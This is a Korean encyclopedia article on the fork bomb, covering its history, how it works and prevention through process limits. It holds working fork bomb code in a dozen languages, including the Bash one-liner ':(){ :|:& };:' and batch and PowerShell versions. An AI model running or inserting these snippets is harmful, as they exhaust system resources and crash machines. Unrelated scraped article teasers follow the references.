포크 폭탄

포크 폭탄의 개념. 프로세스들이 자기 자신을 계속 복제함으로써 잠재적으로 서비스 거부를 일으키게 된다.

컴퓨팅에서 포크 폭탄, 포크 밤(fork bomb), 토끼 바이러스(rabbit virus), 웨빗(wabbit)[1]프로세스가 지속적으로 자신을 복제함으로써 이용 가능한 시스템 자원을 고갈시키고 시스템 속도를 떨어트려 결국엔 기아 상태로 인한 시스템 충돌을 일으키는 서비스 거부 공격이다.

역사

1978년 즈음, '웨빗'(wabbit)이라는 이름의 초기 포크 폭탄 변종이 시스템/360에서 실행된 것으로 보고되었다. 이는 워싱턴 대학교버로스 5500의 1969년 보고된 래빗츠(RABBITS)라는 이름의 유사 공격에서 비롯된 것으로 짐작된다.[1]

구현체

포크 폭탄은 포크(fork) 프로세스 중 CPU 시간을 소비함으로써, 또 운영 체제의 프로세스 테이블을 포화 상태로 만듦으로써 동작한다.[2][3] 기본적인 포크 폭탄의 구현체는 자신의 새로운 복사본을 반복적으로 실행하는 무한 루프이다.

유닉스 계열 운영 체제에서 포크 폭탄은 일반적으로 fork 시스템 호출을 사용하도록 작성된다.[3] 포크된 프로세스들이 최초 프로그램의 사본이기도 하므로 콜 스택의 다음 주소로부터 실행을 계속 이어나가면 동일한 무한 루프의 사본 내에서 무한히 포크를 계속하게 된다. 이로 인해 프로세스의 지수적 성장을 일으키게 된다. 현대의 유닉스 시스템은 새 프로세스를 포크할 때 카피 온 라이트 자원 관리를 사용하는 것이 일반적이지만[4] 포크 폭탄은 일반적으로 이러한 시스템 메모리를 포화시키지 않는다.

마이크로소프트 윈도우 운영 체제는 유닉스의 fork 시스템 호출과 동일한 기능을 갖추고 있지 않는다.[5] 그러므로 이러한 운영 체제에서 포크 폭탄은 기존의 것에서 포크하지 않고 새 프로세스를 만든다.

포크 폭탄의 예

루비

fork while true

인터프리터를 이용한 인라인 셸 예시:

perl -e "fork while fork" &

파이썬

import os
while True:
    os.fork()

C

#include <sys/types.h>
#include <unistd.h>

int main()
{
    while (1)
    {
      fork();
    }
    return 0;
}

자바

public class ForkBomb
{
    public static void main(String[] args)
    {
        while (true)
        {
            Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
        }
    }
}

Lua

-- Requires `luaposix' module
local unistd = require "posix.unistd"

while true do
  unistd.fork()
end

어셈블리 (IA-32에서 실행되는 리눅스)

section .text
    global _start

_start:
    mov eax,2 ;System call for forking
    int 0x80  ;Call kernel
    jmp _start

셸 스크립트

다음은 셸 스크립트에서 2개의 $0 인스턴스를 실행하는 것이다. 여기서 $0는 스크립트 이름 자체를 반환하는 환경 변수이며 다른 인스턴스를 통해 출력물을 파이프 처리함으로써 기하급수적으로 프로세스를 복제시키는 결과를 낳는다.

#!/bin/sh
./$0|./$0&

더 단순한 방식은 간단히 ./$0&를 두 번 실행하는 것이다:

#!/bin/sh
./$0&
./$0&


Bash

Bash에서 포크 폭탄은 다중 재귀 함수를 선언하고 호출함으로써 수행할 수 있다:

bomb(){
  bomb | bomb &
}
bomb

추가적으로 가장 유명하고 흔히 인용되는 포크 폭탄의 예시들 가운데 하나는 다음과 같이 간결한 1줄 Bash 명령어이다:

:(){ :|:& };:

이 명령어는 상기 명령의 난독화된 버전이다. 여기서의 트릭은 :를 함수명으로 사용한다는 점인데, 이것이 가능한 이유는 콜론이 다른 대부분의 언어에서처럼 Bash의 예약된 문자가 아니기 때문이다. 그 외의 경우는 동일하다.[6]

유니코드 지원의 경우 다음과 같이 유사하게 렌더링이 가능하다:

💣(){ 💣|💣& };💣

윈도우 배치

:ForkBomb
 start
 goto ForkBomb

상기와 동일하지만 더 짧게는 다음과 같이 쓸 수 있다:

 %0 | %0

상기와 동일하지만 이스케이프 특수문자에 ^를 사용하여 명령 줄에서 수행이 가능하다:

echo  %0^|%0  >forkbomb.bat & forkbomb.bat

이보다 더 짧게는 이렇게도 가능하다:

echo.%0^|%0>$_.cmd&$_>nul

"실행..." 프롬프트에서 직접 실행할 수 있도록 설계된 간결한 버전은 다음과 같다:

cmd /k echo -^|->-.bat&-

파워셸

while ($true) {
    Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:";
    Invoke-Expression -Command 'while($true) {Start-Process powershell.exe -ArgumentList "-NoExit", "Get-ChildItem -Recurse C:"}';
}

자바스크립트

(f => f(f))(async f => f(f) && f(f));

예방

포크 폭탄의 운용 방식이 온전히 새로운 프로세스를 만드는 방식이기 때문에 포크 폭탄이 시스템 전반에 심각한 영향을 주지 못하도록 만드는 한 방법으로는 단일 사용자가 소유할 수 있는 프로세스의 최대 수를 제한시키는 것이다. 리눅스에서는 ulimit 유틸리티를 사용하여 이를 수행할 수 있다. 이를테면 ulimit -u 30 명령을 실행하면 이에 영향을 받는 사용자가 30개의 프로세스를 최대로 소유할 수 있게 된다.[7] PAM을 사용하는 시스템에서 이 제한은 /etc/security/limits.conf,[8]에서도 설정할 수 있으며 FreeBSD의 경우 시스템 관리자가 /etc/login.conf에 제한을 추가할 수 있다.[9] 또, 현대의 리눅스 시스템들은 cgroups와 PID 컨트롤러를 통해 세부적인 포크 폭탄 예방이 가능하다.[10]

같이 보기

각주

  1. Raymond, Eric S. (2004년 10월 1일). “wabbit”. The Jargon Lexicon. 2013년 10월 15일에 확인함. 
  2. Ye, Nong (2008). 《Secure Computer and Network Systems: Modeling, Analysis and Design》. 16쪽. ISBN 0470023244. 
  3. Jielin, Dong (2007). 《Network Dictionary》. 200쪽. ISBN 1602670005. 
  4. Dhamdhere, Dhananjay M. (2006). 《Operating Systems: A Concept-based Approach》. 285쪽. ISBN 0-07-061194-7. 
  5. Hammond, Mark (2000). 《Python Programming On Win32: Help for Windows Programmers》. 35쪽. ISBN 1565926218. 
  6. “Fork() Bomb - GeeksforGeeks”. 《GeeksforGeeks》 (미국 영어). 2017년 6월 19일. 2018년 6월 27일에 확인함. 
  7. Cooper, Mendel (2005). 《Advanced Bash Scripting Guide》. 305–306쪽. ISBN 1430319305. 
  8. Soyinka, Wale (2012). 《Linux Administration: A Beginners Guide》. 364–365쪽. ISBN 0071767592. 
  9. Lucas, Michael W. (2007). 《Absolute FreeBSD: The Complete Guide to FreeBSD》. 198–199쪽. ISBN 1593271514. 
  10. “Process Number Controller in Documentation/ as appeared in Linux kernel 5.3”. 2019년 10월 8일. 

Read other articles:

Disambiguazione – Se stai cercando il concetto della fisica, vedi Lavoro (fisica). Questa voce o sezione sugli argomenti lavoro e diritto ha un'ottica geograficamente limitata. Motivo: Ampia parte della voce tratta della legislazione italiana, mentre viene pressoché ignorato il resto del mondo. La definizione è ristretta al modello economico occidentale sociale, ad esempio nelle economie agricole di sussistenza il lavoro non è finalizzato ad una remunerazione di scambio Contribuisc...

 

My Name Is Mina First editionAuthorDavid AlmondCountryEnglandLanguageEnglishGenreChildren's fictionPublished2010 (Hodder Children's Books)Media typePrint (hardback)Pages300ISBN9780340997260OCLC7656199392010 children's novel by David Almond My Name Is Mina is a 2010 children's novel by David Almond. It is a prequel to Skellig and is about Mina, a homeschooled girl who lives across the road from the house that Michael's family moves into at the beginning of Skellig. The novel takes the fo...

 

Cessna 188 adalah keluarga pesawat pertanian ringan sayap rendah (low wing) yang dihasilkan antara tahun 1966 dan 1983 oleh Cessna Aircraft Company.[1][2] Berbagai versi dari 188 - AGwagon, AGpickup, AGtruck dan AGhusky, bersama dengan varian AGcarryall dari 185, merupakan jalur pesawat pertanian Cessna.[1][2] Referensi ^ a b Christy, Joe The Complete Guide to the Single-Engine Cessnas 3rd ed, TAB Books, Blue Ridge Summit PA USA, 1979, pp 119-128 ^ a b Demand ...

Ukrainian athlete Viktoria PosmitnaPersonal informationFull namePosmitna Viktoria VasylivnaBorn (1966-04-07) 7 April 1966 (age 58)Kyiv, Ukrainian SSR, USSRSportSportpowerlifting, bodybuilding, fitness Viktoria Vasylivna Posmitna (Larsson) (Ukrainian: Вікторія Василівна Посмітна (Ларссон); born 7 April 1966 in Kyiv, Ukrainian SSR) – Ukrainian athlete (powerlifting, bodybuilding, fitness), coach, TV host.[1] Honored Master of Sports of Ukraine...

 

Cet article est une ébauche concernant un aéronef et les forces armées des États-Unis. Vous pouvez partager vos connaissances en l’améliorant (comment ?) selon les recommandations des projets correspondants. SB2C-4 HelldiverA-25A Shrike Un Helldiver de la Task Force 38 participant au raid en mer de Chine méridionale en janvier 1945. Constructeur Curtiss-Wright Corporation Rôle Bombardier en piqué Premier vol 18 décembre 1940 Mise en service 11 novembre 1943 Date de retrait 19...

 

يفتقر محتوى هذه المقالة إلى الاستشهاد بمصادر. فضلاً، ساهم في تطوير هذه المقالة من خلال إضافة مصادر موثوق بها. أي معلومات غير موثقة يمكن التشكيك بها وإزالتها. (يوليو 2019) الدوري البولندي الممتاز 1961 تفاصيل الموسم الدوري البولندي الممتاز  النسخة 35  البلد بولندا  المنظم �...

Untuk film tahun 1936, lihat Broken Blossoms (film 1936). Broken BlossomsPoster rilis layar lebarSutradaraD. W. GriffithProduserD. W. GriffithDitulis olehThomas BurkeD. W. GriffithPemeranLillian GishRichard BarthelmessDonald CrispPenata musikJoseph Turrin (perilisan DVD 2001)SinematograferG.W. BitzerPenyuntingJames SmithDistributorUnited ArtistsTanggal rilis 13 Mei 1919 (1919-05-13) Durasi90 menitNegaraAmerika SerikatBahasaFilm bisuIntertitel InggrisAnggaran$88,000[1]Pendap...

 

2022年肯塔基州聯邦參議員選舉 ← 2016年 2022年11月8日 (2022-11-08) 2028年 →   获提名人 蘭德·保羅 查爾斯·布克 政党 共和黨 民主党 民選得票 913,326 564,311 得票率 61.8% 38.2% 各縣結果保羅:     50–60%     60–70%     70–80%     80–90%布克:     50–60%     60–70% 选前聯邦參議...

 

Artikel ini sebatang kara, artinya tidak ada artikel lain yang memiliki pranala balik ke halaman ini.Bantulah menambah pranala ke artikel ini dari artikel yang berhubungan atau coba peralatan pencari pranala.Tag ini diberikan pada Maret 2016. SMP Negeri 1 MojokertoInformasiDidirikan1926JenisSekolah Menengah PertamaKepala SekolahIrene Darmono, M.PdRentang kelasVII,VIII,IXAlamatLokasiJl. Gajah Mada No. 143, Mojokerto, Jawa Timur, IndonesiaTel./Faks.(0321) 322614Situs websmpn1mojokerto...

Event in 480 BCE Achaemenid destruction of AthensPart of the Greco-Persian WarsPart of the archaeological remains called Perserschutt, or Persian rubble: remnants of the destruction of Athens by the armies of Xerxes. Photographed in 1866, just after excavation.Date480 and 479 BCELocationAthens, Greece37°59′02″N 23°43′40″E / 37.983972°N 23.727806°E / 37.983972; 23.727806Result Persian victory Destruction of Athens Massacre of AtheniansBelligerents Athenian c...

 

Men's casual loungewear A smoking jacket in burgundy with the typical shawl collar, frog fastening and turn-up cuffs. From the 1944 film Gaslight. A smoking jacket is an informal men's style of lounge jacket originally intended for tobacco smoking. Designed in the 1850s, a traditional smoking jacket has a shawl collar, turn-up cuffs, and is closed with either toggle or button fastenings, or with a tie belt. It is usually made from velvet and/or silk. Originating in the 1850s, The Gentleman's ...

 

جزء من سلسلة مقالات حولالأدب أشكال رئيسة رواية شعر دراما قصة قصيرة نثر حكاية خرافية حكاية رمزية رواية قصيرة قصة إطارية الأنواع دراما كوميديا شعر ملحمي أدب إيروتيكي شعر غنائي هجاء رواية تاريخية تراجيديا ملهاة مأساوية أدب ألكتروني أدب الجريمة أدب الرعب أدب الغموض أدب بوليس...

Si ce bandeau n'est plus pertinent, retirez-le. Cliquez ici pour en savoir plus. Cet article ne cite pas suffisamment ses sources (août 2017). Si vous disposez d'ouvrages ou d'articles de référence ou si vous connaissez des sites web de qualité traitant du thème abordé ici, merci de compléter l'article en donnant les références utiles à sa vérifiabilité et en les liant à la section « Notes et références ». En pratique : Quelles sources sont attendues ? Com...

 

بريان إدواردز معلومات شخصية الميلاد 27 أكتوبر 1930   تاريخ الوفاة 21 يونيو 2016 (85 سنة)   مركز اللعب وسط الجنسية المملكة المتحدة  المسيرة الاحترافية1 سنوات فريق م. (هـ.) 1947–1965 بولتون واندررز 483 (8) الفرق التي دربها 1971–1975 برادفورد سيتي 1 عدد مرات الظهور مع الأندية وعدد الأهداف ...

 

The Ultimate Fighter Brazil 2 Finale: Nogueira vs. WerdumProdotto daUltimate Fighting Championship Data8 giugno 2013 Città Fortaleza, Brasile SedeGinásio Paulo Sarasate Spettatori6.286 Cronologia pay-per-viewUFC 160: Velasquez vs. Bigfoot 2The Ultimate Fighter Brazil 2 Finale: Nogueira vs. WerdumUFC 161: Evans vs. Henderson Progetto Wrestling Manuale The Ultimate Fighter Brazil 2 Finale: Nogueira vs. Werdum è stato un evento di arti marziali miste organizzato dalla Ultimate Fighting Champi...

Cantonese shrimp dish White boiled shrimpCourseMain dishesPlace of originChinaMain ingredientsshrimp White boiled shrimpTraditional Chinese白灼蝦Simplified Chinese白灼虾TranscriptionsStandard MandarinHanyu Pinyinbai2 zhuo2 xia1Yue: CantoneseJyutpingbaak6 coek3 haa1 White boiled shrimp (simplified Chinese: 白灼虾; traditional Chinese: 白灼蝦) is a variety of night dish in Cantonese cuisine.[1] The dish is made with shrimp in boiling (灼) hot water, and se...

 

Cet article est une ébauche concernant le radioamateurisme et les télécommunications. Vous pouvez partager vos connaissances en l’améliorant (comment ?) selon les recommandations des projets correspondants. Consultez la liste des tâches à accomplir en page de discussion. Antenne J de Zeppelin. Ces antennes étaient régulièrement aperçues sur les ballons Zeppelin d’où le nom « antenne Zeppelin ». Elles sont également appelées « antenne en J » pour ...

 

American college soccer season 2019 Virginia Cavaliers men's soccerACC Coastal Division regular season championsACC Tournament championsNCAA Tournament, Runner-UpConferenceAtlantic Coast ConferenceDivisionCoastalU. Soc. Coaches pollNo. 2TopDrawerSoccer.comNo. 2Record21–1–2 (6–1–1 ACC)Head coachGeorge Gelnovatch (24th season)Assistant coaches Matt Chulis (13th season) Ryan Hopkins (2nd season) Home stadiumKlöckner StadiumUniform Home Away Seasons← 2...

56th Stryker Brigade Combat Team56th SBCT / 28th Division shoulder sleeve insigniaActive1747 – presentCountry United StatesBranch United States ArmyTypeInfantry BrigadeRoleStryker InfantrySize4,000Part of28th Infantry DivisionGarrison/HQBiddle National Guard BaseWillow Grove, PennsylvaniaNickname(s)Independence BrigadeMotto(s)Strength Through Honor Ride the LightningEngagementsAmerican Civil WarWorld War IWorld War IIOperation Iraqi FreedomCommandersNotablecommandersGeorge C. Ric...

 

Kesempatan foto Donald Trump di Gereja St. JohnPresiden Donald Trump memegang Alkitab di depan Ashburton House, paroki Gereja Episkopal St. John.Tanggal01 Juni 2020 (2020-06-01)Waktu19.06–19.11 EDTTempatLafayette Square, St. John's Episcopal Church, and Ashburton HouseKoordinat38°54′01″N 77°02′09″W / 38.9003°N 77.0358°W / 38.9003; -77.0358SasaranPengunjuk rasa di dalam dan sekitar Lafayette SquareDirekam olehMedia massa, pengunjuk rasa, orang-orang s...